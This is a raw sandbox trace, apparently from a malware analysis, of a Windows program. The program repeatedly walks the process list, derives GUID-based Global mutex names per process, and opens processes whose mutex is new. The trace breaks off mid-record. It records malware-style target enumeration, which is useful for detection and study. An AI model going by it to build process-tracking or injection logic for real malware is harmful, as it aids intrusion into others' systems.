hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0118.810] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0118.810] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0118.810] GetLastError () returned 0xb7 [0118.810] CloseHandle (hObject=0x6cc) returned 1 [0118.810] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0118.811] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0118.811] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0118.811] GetLastError () returned 0xb7 [0118.811] CloseHandle (hObject=0x6cc) returned 1 [0118.811] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0118.812] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0118.812] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0118.813] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0118.813] GetLastError () returned 0x0 [0118.813] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0118.813] CloseHandle (hObject=0x6cc) returned 1 [0118.813] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0118.813] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0118.813] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0118.813] GetLastError () returned 0x0 [0118.813] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0118.814] CloseHandle (hObject=0x6cc) returned 1 [0118.814] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0118.814] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0118.814] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0118.814] GetLastError () returned 0xb7 [0118.814] CloseHandle (hObject=0x6cc) returned 1 [0118.814] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0118.815] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0118.815] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0118.815] GetLastError () returned 0x0 [0118.815] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0118.815] CloseHandle (hObject=0x6cc) returned 1 [0118.815] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0118.816] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0118.817] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0118.818] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0118.819] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0118.820] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0118.821] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0118.821] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0118.822] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0118.823] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0118.824] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0118.825] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0118.825] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0118.826] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0118.827] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0118.828] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0118.829] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0118.829] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0118.830] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0118.831] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0118.832] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0118.833] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.873] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0118.873] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.874] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0118.875] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0118.876] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0118.877] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0118.878] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0118.878] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.879] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0118.880] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0118.880] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0118.880] GetLastError () returned 0xb7 [0118.880] CloseHandle (hObject=0x6cc) returned 1 [0118.880] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0118.881] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="certutil.exe")) returned 1 [0118.882] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0118.883] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0118.884] CloseHandle (hObject=0x56c) returned 1 [0118.884] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0118.991] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x56c [0118.994] Process32FirstW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0118.994] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0118.995] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0118.996] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0118.997] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0118.997] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0118.998] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0118.999] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0119.000] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0119.001] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0119.001] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.002] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.003] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.004] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.005] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.005] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0119.006] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.007] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.008] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0119.008] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.009] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0119.010] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0119.010] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0119.010] GetLastError () returned 0xb7 [0119.010] CloseHandle (hObject=0x6cc) returned 1 [0119.010] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0119.011] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0119.011] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0119.011] GetLastError () returned 0xb7 [0119.011] CloseHandle (hObject=0x6cc) returned 1 [0119.011] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, 